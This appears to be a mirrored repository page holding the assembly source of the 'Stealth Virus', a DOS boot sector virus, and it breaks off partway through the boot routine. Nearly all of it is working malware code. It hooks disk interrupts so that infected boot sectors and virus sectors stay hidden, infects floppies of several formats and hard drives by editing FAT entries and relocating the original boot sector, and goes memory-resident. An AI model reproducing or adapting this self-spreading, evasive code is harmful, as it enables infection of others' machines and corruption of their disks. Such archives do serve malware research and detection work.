13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 18:02:48 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir#1.asm
2021-01-12 18:04:54 -06:00

1256 lines
55 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;The Stealth Virus is a boot sector virus which remains resident in memory
;after boot so it can infect disks. It hides itself on the disk and includes
;special anti-detection interrupt traps so that it is very difficult to
;locate. This is a very infective and crafty virus.
COMSEG SEGMENT PARA
ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
ORG 100H
START:
jmp BOOT_START
;*******************************************************************************
;* BIOS DATA AREA *
;*******************************************************************************
ORG 413H
MEMSIZE DW 640 ;size of memory installed, in KB
;*******************************************************************************
;* VIRUS CODE STARTS HERE *
;*******************************************************************************
ORG 7000H
STEALTH: ;A label for the beginning of the virus
;*******************************************************************************
;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
;for every sector on the track. This is put at the very start of the virus so
;that when sectors are formatted, we will not run into a DMA boundary, which
;would cause the format to fail. This is a false error, but one that happens
;with some BIOS's, so we avoid it by putting this data first.
;FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
; DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
;
;FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
; DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
;*******************************************************************************
;* INTERRUPT 13H HANDLER *
;*******************************************************************************
OLD_13H DD ? ;Old interrupt 13H vector goes here
INT_13H:
sti
cmp ah,2 ;we want to intercept reads
jz READ_FUNCTION
cmp ah,3 ;and writes to all disks
jz WRITE_FUNCTION
I13R: jmp DWORD PTR cs:[OLD_13H]
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 2,
;(Read). It checks for several key situations where it must jump into action.
;they are:
; 1) If an attempt is made to read the boot sector, it must be processed
; through READ_BOOT, so an infected boot sector is never seen. Instead,
; the original boot sector is read.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
; drive C are read, they are processed by READ_HARD, so the virus
; code is never seen on the hard drive.
; 3) If an attempt is made to read the boot sector on the floppy, and
; the motor is off, this routine checks to see if the floppy has
; already been infected, and if not, it goes ahead and infects it.
READ_FUNCTION: ;Disk Read Function Handler
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,0 ;is it track 0?
jnz I13R ;no, let BIOS handle it
cmp cl,1 ;track 0, is it sector 1
jz READ_BOOT ;yes, go handle boot sector read
cmp dl,80H ;no, is it hard drive c:?
jnz I13R ;no, let BIOS handle it
cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it
jmp READ_HARD ;yes, divert read on the C drive
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 3,
;(Write). It checks for two key situations where it must jump into action. They
;are:
; 1) If an attempt is made to write the boot sector, it must be processed
; through WRITE_BOOT, so an infected boot sector is never overwritten.
; instead, the write is redirected to where the original boot sector is
; hidden.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
; drive C are written, they are processed by WRITE_HARD, so the virus
; code is never overwritten.
WRITE_FUNCTION: ;BIOS Disk Write Function
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,0 ;is it track 0?
jnz I13R ;nope, let BIOS handle it
cmp cl,1 ;is it sector 1
jnz WF1 ;nope, check for hard drive
jmp WRITE_BOOT ;yes, go handle boot sector read
WF1: cmp dl,80H ;is it the hard drive c: ?
jnz I13R ;no, another hard drive
cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it
jmp WRITE_HARD ;else take care of writing to C:
;*******************************************************************************
;This section of code handles reading the boot sector. There are three
;possibilities: 1) The disk is not infected, in which case the read should be
;passed directly to BIOS, 2) The disk is infected and only one sector is
;requested, in which case this routine figures out where the original boot
;sector is and reads it, and 3) The disk is infected and more than one sector
;is requested, in which case this routine breaks the read up into two calls to
;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
;additional sectors being read. One of the complexities in this last case is
;that the routine must return the registers set up as if only one read had
;been performed.
; To determine if the disk is infected, the routine reads the real boot sector
;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
;this routine goes to get the original boot sector, etc., otherwise it calls ROM
;BIOS and allows a second read to take place to get the boot sector into the
;requested buffer at es:bx.
READ_BOOT:
cmp dl,80H ;check if we must infect first
jnc RDBOOT ;don't need to infect hard dsk
call CHECK_DISK ;is floppy already infected?
jz RDBOOT ;yes, go do read
call INFECT_FLOPPY ;no, go infect the diskette
RDBOOT: push ax ;now perform a redirected read
push bx ;save registers
push cx
push dx
push ds
push es
push bp
push cs ;set ds=es=cs
pop es
push cs
pop ds
mov bp,sp ;and bp=sp
RB001: mov al,dl
call GET_BOOT_SEC ;read the real boot sector
jnc RB01 ;ok, go on
call GET_BOOT_SEC ;do it again to make sure
jnc RB01 ;ok, go on
jmp RB_GOON ;error, let BIOS return err code
RB01: call IS_VBS ;is it the viral boot sector?
jz RB02 ;yes, jump
jmp RB_GOON ;no, let ROM BIOS read sector
RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx] ;get disk type of disk being
cmp al,80H ;read, and make an index of it
jnz RB1
mov al,4
RB1: mov bl,3 ;to look up location of boot sec
mul bl
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table
mov bx,ax
mov ch,[bx] ;get track of orig boot sector
mov dh,[bx+1] ;get head of orig boot sector
mov cl,[bx+2] ;get sector of orig boot sector
mov dl,ss:[bp+6] ;get drive from original spec
mov bx,ss:[bp+10] ;get read buffer offset
mov ax,ss:[bp+2] ;and segment
mov es,ax ;from original specification
mov ax,201H ;prepare to read 1 sector
pushf
call DWORD PTR [OLD_13H] ;do BIOS int 13H
mov al,ss:[bp+12] ;see if original request
cmp al,1 ;was for more than one sector
jz RB_EXIT ;no, go exit
READ_1NEXT: ;more than 1 sec requested, so
pop bp ;read the rest as a second call
pop es ;to BIOS
pop ds
pop dx ;first restore these registers
pop cx
pop bx
pop ax
add bx,512 ;prepare to call BIOS for
push ax ;balance of read
dec al ;get registers straight for it
inc cl
cmp dl,80H ;is it the hard drive?
jnz RB15 ;nope, go handle floppy
push bx ;handle an infected hard drive
push cx ;by faking read on extra sectors
push dx ;and returning a block of 0's
push si
push di
push ds
push bp
push es
pop ds ;ds=es
mov BYTE PTR [bx],0 ;set first byte in buffer = 0
mov si,bx
mov di,bx
inc di
mov ah,0 ;ax=number of sectors to read
mov bx,512 ;bytes per sector
mul bx ;# of bytes to read in dx:ax<64K
mov cx,ax
dec cx ;number of bytes to move in cx
rep movsb ;fill buffer with 0's
clc ;clear c, fake read successful
pushf ;then restore everyting properly
pop ax ;first set flag register
mov ss:[bp+20],ax ;as stored on the stack
pop bp ;and pop all registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ah,0
dec cl
sub bx,512
iret ;and get out
RB15: ;read next sectors on floppy
pushf ;call BIOS to
call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)
push ax
push bp
mov bp,sp
pushf ;use c flag from BIOS call
pop ax ;to set c flag on the stack
mov ss:[bp+10],ax
jc RB2 ;if error, return ah from 2nd rd
sub bx,512 ;else restore registers so
dec cl ;it looks as if only one read
pop bp ;was performed
pop ax
pop ax ;and exit with ah=0 to indicate
mov ah,0 ;successful read
iret
RB2: pop bp ;error on 2nd read
pop ax ;so clean up stack
add sp,2 ;and get out
iret
RB_EXIT: ;exit from single sector read
mov ax,ss:[bp+18] ;set the c flag on the stack
push ax ;to indicate successful read
popf
clc
pushf
pop ax
mov ss:[bp+18],ax
pop bp ;restore all registers
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah,0
iret ;and get out
RB_GOON: ;This passes control to BIOS
pop bp ;for uninfected disks
pop es ;just restore all registers to
pop ds ;their original values
pop dx
pop cx
pop bx
pop ax
jmp I13R ;and go jump to BIOS
;*******************************************************************************
;This table identifies where the original boot sector is located for each
;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
;boot sector reads and writes.
BOOT_SECTOR_LOCATION:
DB 39,1,9 ;Track, head, sector, 360K drive
DB 79,1,15 ;1.2M drive
DB 79,1,9 ;720K drive
DB 79,1,18 ;1.44M drive
DB 0,0,7 ;Hard drive
;*******************************************************************************
;This routine handles writing the boot sector for all disks. It checks to see
;if the disk has been infected, and if not, allows BIOS to handle the write.
;If the disk is infected, this routine redirects the write to put the boot
;sector being written in the reserved area for the original boot sector. It
;must also handle the writing of multiple sectors properly, just as READ_BOOT
;did.
WRITE_BOOT:
push ax ;save everything we might change
push bx
push cx
push dx
push ds
push es
push bp
mov bp,sp
push cs ;ds=es=cs
pop ds
push cs
pop es
mov al,dl
call GET_BOOT_SEC ;read the real boot sector
jnc WB01
call GET_BOOT_SEC ;do it again if first failed
jnc WB01
jmp WB_GOON ;error on read, let BIOS take it
WB01: call IS_VBS ;else, is disk infected?
jz WB02 ;yes
jmp WB_GOON ;no, let ROM BIOS write sector
WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx]
cmp al,80H ;infected, so redirect the write
jnz WB1
mov al,4 ;make an index of the drive type
WB1: mov bl,3
mul bl
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry
mov bx,ax
mov ch,[bx] ;get the location of original
mov dh,[bx+1] ;boot sector on disk
mov cl,[bx+2] ;prepare for the write
mov dl,ss:[bp+6]
mov bx,ss:[bp+10]
mov ax,ss:[bp+2]
mov es,ax
mov ax,301H
pushf
call DWORD PTR [OLD_13H] ;and do it
sti
mov dl,ss:[bp+6]
cmp dl,80H ;was write going to hard drive?
jnz WB_15 ;no
mov BYTE PTR [DR_FLAG],80H ;yes, update partition info
push si
push di
mov di,OFFSET PART ;just move it from sec we just
mov si,ss:[bp+10] ;wrote into the viral boot sec
add si,OFFSET PART
sub si,OFFSET BOOT_START
push es
pop ds
push cs
pop es ;switch ds and es around
mov cx,20
rep movsw ;and do the move
push cs
pop ds
mov ax,301H
mov bx,OFFSET BOOT_START
mov cx,1 ;Track 0, Sector 1
mov dx,80H ;drive 80H, Head 0
pushf ;go write updated viral boot sec
call DWORD PTR [OLD_13H] ;with new partition info
pop di ;clean up
pop si
WB_15: mov al,ss:[bp+12]
cmp al,1 ;was write more than 1 sector?
jz WB_EXIT ;if not, then exit
WRITE_1NEXT: ;more than 1 sector
mov dl,ss:[bp+6] ;see if it's the hard drive
cmp dl,80H
jz WB_EXIT ;if so, ignore rest of the write
pop bp ;floppy drive, go write the rest
pop es ;as a second call to BIOS
pop ds
pop dx
pop cx ;restore all registers
pop bx
pop ax
add bx,512 ;and modify a few to
push ax ;drop writing the first sector
dec al
inc cl
pushf
call DWORD PTR cs:[OLD_13H] ;go write the rest
sti
push ax
push bp
mov bp,sp
pushf ;use c flag from call
pop ax ;to set c flag on the stack
mov ss:[bp+10],ax
jc WB2 ;an error
;so exit with ah from 2nd int 13
sub bx,512
dec cl
pop bp
pop ax
pop ax ;else exit with ah=0
mov ah,0 ;to indicate success
iret
WB2: pop bp ;exit with ah from 2nd
pop ax ;interrupt
add sp,2
iret
WB_EXIT: ;exit after 1st write
mov ax,ss:[bp+18] ;set carry on stack to indicate
push ax ;a successful write operation
popf
clc
pushf
pop ax
mov ss:[bp+18],ax
pop bp ;restore all registers and exit
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah,0
iret
WB_GOON: ;pass control to ROM BIOS
pop bp ;just restore all registers
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp I13R ;and go do it
;*******************************************************************************
;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
;then instead of reading the true data there, return a block of 0's, since
;0 is the data stored in a freshly formatted but unused sector. This will
;fake the caller out and keep him from knowing that the virus is hiding there.
;If the disk is not infected, return the true data stored in those sectors.
READ_HARD:
call CHECK_DISK ;see if disk is infected
jnz RWH_EX ;no, let BIOS handle the read
push ax ;else save registers
push bx
push cx
push dx
push si
push di
push ds
push bp
mov bp,sp
mov BYTE PTR es:[bx],0 ;zero the first byte in the blk
push es
pop ds
mov si,bx ;set up es:di and ds:si
mov di,bx ;for a transfer
inc di
mov ah,0 ;ax=number of sectors to read
mov bx,512 ;bytes per sector
mul bx ;number of bytes to read in ax
mov cx,ax
dec cx ;number of bytes to move
rep movsb ;do fake read of all 0's
mov ax,ss:[bp+20] ;now set c flag
push ax ;to indicate succesful read
popf
clc
pushf
pop ax
mov ss:[bp+20],ax
pop bp ;restore everything and exit
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ah,0 ;set to indicate successful read
iret
RWH_EX: jmp I13R ;pass control to BIOS
;*******************************************************************************
;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
;the disk is infected. Instead, fake the return of an error by setting carry
;and returning ah=4 (sector not found).
WRITE_HARD:
call CHECK_DISK ;see if the disk is infected
jnz RWH_EX ;no, let BIOS handle it all
push bp ;yes, infected, so . . .
push ax
mov bp,sp
mov ax,ss:[bp+8] ;get flags off of stack
push ax
popf ;put them in current flags
stc ;set the carry flag
pushf
pop ax
mov ss:[bp+8],ax ;and put flags back on stack
pop ax
mov ah,4 ;set up sector not found error
pop bp
iret ;and get out of ISR
;*******************************************************************************
;See if disk dl is infected already. If so, return with Z set. This
;does not assume that registers have been saved, and saves/restores everything
;but the flags.
CHECK_DISK:
push ax ;save everything
push bx
push cx
push dx
push ds
push es
push cs
pop ds
push cs
pop es
mov al,dl
call GET_BOOT_SEC ;read the boot sector
jnc CD1
xor al,al ;act as if infected
jmp SHORT CD2 ;in the event of an error
CD1: call IS_VBS ;see if viral boot sec (set z)
CD2: pop es ;restore everything
pop ds ;except the z flag
pop dx
pop cx
pop bx
pop ax
ret
;*******************************************************************************
;This routine determines from the boot sector parameters what kind of floppy
;disk is in the drive being accessed, and calls the proper infection routine
;to infect the drive. It has no safeguards to prevent infecting an already
;infected disk. the routine CHECK_DISK must be called first to make sure you
;want to infect before you go and do it. This restores all registers to their
;initial state.
INFECT_FLOPPY:
pushf ;save everything
push si
push di
push ax
push bx
push cx
push dx
push ds
push es
push cs
pop es
push cs
pop ds
sti
mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector
mov bx,[bx] ;get sector count for this disk
mov al,dl
cmp bx,720 ;is it 360K? (720 sectors)
jnz IF_1 ;no, try another possibility
call INFECT_360K ;yes, infect it
jmp SHORT IF_R ;and get out
IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)
jnz IF_2 ;no, try another possibility
call INFECT_12M ;yes, infect it
jmp SHORT IF_R ;and get out
IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)
jnz IF_3 ;no, try another possibility
call INFECT_720K ;yes, infect it
jmp SHORT IF_R ;and get out
IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)
jnz IF_R ;no - don't infect this disk
call INFECT_144M ;yes - infect it
IF_R: pop es ;restore everyting and return
pop ds
pop dx
pop cx
pop bx
pop ax
pop di
pop si
popf
ret
;*******************************************************************************
;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
;code in sectors 1 through 5, and then replacing the boot sector on the disk
;with the viral boot sector.
INFECT_360K:
mov dl,al ;read the FAT from
mov cx,3 ;track 0, sector 3, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF360_EXIT
mov di,OFFSET SCRATCHBUF + 11H ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
and ax,0FFF0H
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
jnz INF360_EXIT ;if so, abort infection
mov ax,[di]
or ax,0FF70H
stosw
mov ax,07FF7H ;marking the last 6 clusters
stosw ;as bad
mov ax,00FFH
stosw
mov ax,bx ;write the FAT back to disk
mov cx,3 ;at track 0, sector 3, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF360_EXIT
INF360_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,5 ;at track 0, sector 5, head 0
mov dh,0
call WRITE_DISK
jc INF360_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF360_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,2709H ;track 39, sector 9
call WRITE_DISK
jc INF360_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],0 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF360_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,2704H ;track 39, sector 4
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF360_EXIT:
ret ;all done
;*******************************************************************************
;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
;the same as the 360K case.
INFECT_12M:
mov dl,al ;read the FAT from
mov cx,8 ;track 0, sector 8, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF12M_EXIT
mov di,OFFSET SCRATCHBUF + 1DDH ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
or ax,[di+6]
or ax,[di+8]
jnz INF12M_EXIT ;if so, abort infection
mov ax,07FF7H
stosw
mov ax,0F7FFH ;marking the last 6 clusters
stosw ;as bad
mov ax,0FF7FH
stosw
mov ax,07FF7H
stosw
mov ax,000FFH
stosw
mov ax,bx ;write the FAT back to disk
mov cx,8 ;at track 0, sector 8, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF12M_EXIT
INF12M_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,0FH ;at track 0, sector 15, head 0
mov dh,0
call WRITE_DISK
jc INF12M_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF12M_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,4F0FH ;track 79, sector 15
call WRITE_DISK
jc INF12M_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],1 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF12M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F0AH ;track 79, sector 10
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF12M_EXIT:
ret ;all done
;*******************************************************************************
;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
;drives. The virus goes in an existing data area on the disk, so no formatting
;is required. Instead, we 1) Mark the diskette's FAT to indicate that the last
;three clusters are bad, so that DOS will not attempt to overwrite the virus
;code. 2) Read the boot sector and put it at Track 79, Head 1 sector 9, 3) Put
;the five sectors of stealth routines at Track 79, Head 1, sector 4-8, 4) Put
;the viral boot sector at Track 0, Head 0, Sector 1.
INFECT_720K:
mov dl,al ;read the FAT from
mov cx,4 ;track 0, sector 4, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF720_EXIT
mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
jnz INF720_EXIT ;if so, abort infection
mov ax,07FF7H
stosw
mov ax,0F7FFH ;marking the last 6 clusters
stosw ;as bad
mov ax,0000FH
stosw
mov ax,bx ;write the FAT back to disk
mov cx,4 ;at track 0, sector 4, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF720_EXIT
INF720_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,7 ;at track 0, sector 7, head 0
mov dh,0
call WRITE_DISK
jc INF720_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF720_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,4F09H ;track 79, sector 9
call WRITE_DISK
jc INF720_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],2 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF720_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F04H ;track 79, sector 4
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF720_EXIT:
ret ;all done
;*******************************************************************************
;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
;same as infecting a 720K diskette, except that the virus is placed in sectors
;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
INFECT_144M:
mov dl,al ;read the FAT from
mov cx,0AH ;track 0, sector 10, head 0
mov dh,0
call READ_DISK
mov bx,ax
jc INF720_EXIT
mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM
mov ax,[di] ;make sure nothing is stored
and ax,0FFF0H ;in any of these clusters
or ax,[di+2] ;if it is, abort infect...
or ax,[di+4] ;don't wipe out any data
or ax,[di+6]
or ax,[di+8]
jnz INF144M_EXIT ;if so, abort infection
mov ax,es:[di]
and ax,000FH
add ax,0FF70H
stosw
mov ax,07FF7H ;marking the last 6 clusters
stosw ;as bad
mov ax,0F7FFH
stosw
mov ax,0FF7FH
stosw
mov ax,0FF7H
stosw
mov ax,bx ;write the FAT back to disk
mov cx,0AH ;at track 0, sector 10, head 0
mov dl,bl
mov dh,0
call WRITE_DISK ;write the FAT back to disk
jc INF144M_EXIT
INF144M_RETRY:
mov dl,al ;write the 2nd FAT too,
mov cx,1 ;at track 0, sector 1, head 1
mov dh,1
call WRITE_DISK
jc INF144M_RETRY ;must retry, since 1st fat done
call GET_BOOT_SEC ;read the boot sector in
jc INF144M_EXIT
mov dl,al ;write the orig boot sector at
mov dh,1 ;head 1
mov cx,4F12H ;track 79, sector 18
call WRITE_DISK
jc INF144M_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov BYTE PTR [DR_FLAG],3 ;set proper diskette type
pop ax
call PUT_BOOT_SEC ;go write it to disk
jc INF144M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F0DH ;track 79, sector 13
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF144M_EXIT:
ret ;all done
;Read one sector into SCRATCHBUF from the location specified in dx,cx. Preserve
;ax, and return c set properly. Assumes es set up properly.
READ_DISK:
push ax
mov bx,OFFSET SCRATCHBUF
mov ax,0201H
pushf
call DWORD PTR [OLD_13H]
pop ax
ret
;Write one sector from SCRATCHBUF into the location specified in dx,cx. Preserve
;ax, and return c set properly.
WRITE_DISK:
push ax
mov bx,OFFSET SCRATCHBUF
mov ax,0301H
pushf
call DWORD PTR [OLD_13H]
pop ax
ret
;*******************************************************************************
;Infect Hard Disk Drive AL with this virus. This involves the following steps:
;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
;routines to Track 0, Head 0, Sector 2, 5 sectors total.
INFECT_HARD:
mov al,80H ;set drive type flag to hard disk
mov BYTE PTR [DR_FLAG],al ;cause that's where it's going
call GET_BOOT_SEC ;read the present boot sector
mov bx,OFFSET SCRATCHBUF ;and go write it at
push ax
mov dl,al
mov dh,0 ;head 0
mov cx,0007H ;track 0, sector 7
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov di,OFFSET BOOT_START + 200H - 42H
mov si,OFFSET SCRATCHBUF + 200H - 42H
mov cx,21H ;copy partition table
rep movsw ;to new boot sector too!
pop ax
call PUT_BOOT_SEC ;write viral boot sector
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,0 ;head 0
mov cx,0002H ;track 0, sector 2
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
ret
;*******************************************************************************
;This routine determines if a hard drive C: exists, and returns NZ if it does,
;Z if it does not.
IS_HARD_THERE:
push ds
xor ax,ax
mov ds,ax
mov bx,475H ;Get hard disk count from bios
mov al,[bx] ;put it in al
pop ds
cmp al,0 ;and see if al=0 (no drives)
ret
;*******************************************************************************
;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
;prserve AL!
GET_BOOT_SEC:
push ax
mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector
mov dl,al ;this is the drive to read from
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,2 ;BIOS read function
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;This routine writes the data in BOOT_START to the drive in al at Track 0,
;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
PUT_BOOT_SEC:
push ax
mov bx,OFFSET BOOT_START
mov dl,al ;this is the drive to write to
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,3 ;BIOS write function
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
;are checked to see if they are identical. If so, it must be the viral boot
;sector. It is assumed that es and ds are properly set to this segment when
;this is called.
IS_VBS:
push si ;save these
push di
cld
mov di,OFFSET BOOT ;set up for a compare
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT ;required instead of ^ for A86
mov cx,15
repz cmpsw ;compare 30 bytes
pop di ;restore these
pop si
ret ;and return with z properly set
;*******************************************************************************
;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
;*******************************************************************************
ORG 7A00H
SCRATCHBUF: ;a total of 512 bytes
DB 3 dup (0)
SB_BOOT_DATA: ;with references to correspond
DB 32H dup (0) ;to various areas in the boot
SB_DR_FLAG: ;sector at 7C00
DB 0 ;these are only needed by A86
SB_BOOT: ;tasm and masm will let you
DB 458 dup (0) ;just do "db 512 dup (0)"
;*******************************************************************************
;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
;*******************************************************************************
ORG 7C00H ;Starting location for boot sec
BOOT_START:
jmp SHORT BOOT ;jump over data area
db 090H ;an extra byte for near jump
BOOT_DATA:
db 32H dup (?) ;data area and default dbt
;(copied from orig boot sector)
DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
; 1=1.2M Floppy
; 2=720K Floppy
; 3=1.4M Floppy
; 80H=Hard Disk
;The boot sector code starts here
BOOT:
cli ;interrupts off
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax ;set up segment registers
mov sp,OFFSET BOOT_START ;and stack pointer
sti
mov cl,6 ;prep to convert kb's to seg
mov ax,[MEMSIZE] ;get size of memory available
shl ax,cl ;convert KBytes into a segment
sub ax,7E0H ;subtract enough so this code
mov es,ax ;will have the right offset to
sub [MEMSIZE],4 ;go memory resident in high ram
GO_RELOC:
mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
mov di,si ;to relocate this code
mov cx,256 ;to high memory
rep movsw ;and go move this sector
push es
mov ax,OFFSET RELOC
push ax ;push new far @RELOC onto stack
retf ;and go there with retf
RELOC: ;now we're in high memory
push es ;so let's install the virus
pop ds
nop
mov bx,OFFSET STEALTH ;set up buffer to read virus
mov al,BYTE PTR [DR_FLAG] ;drive number
cmp al,0 ;Load from proper drive type
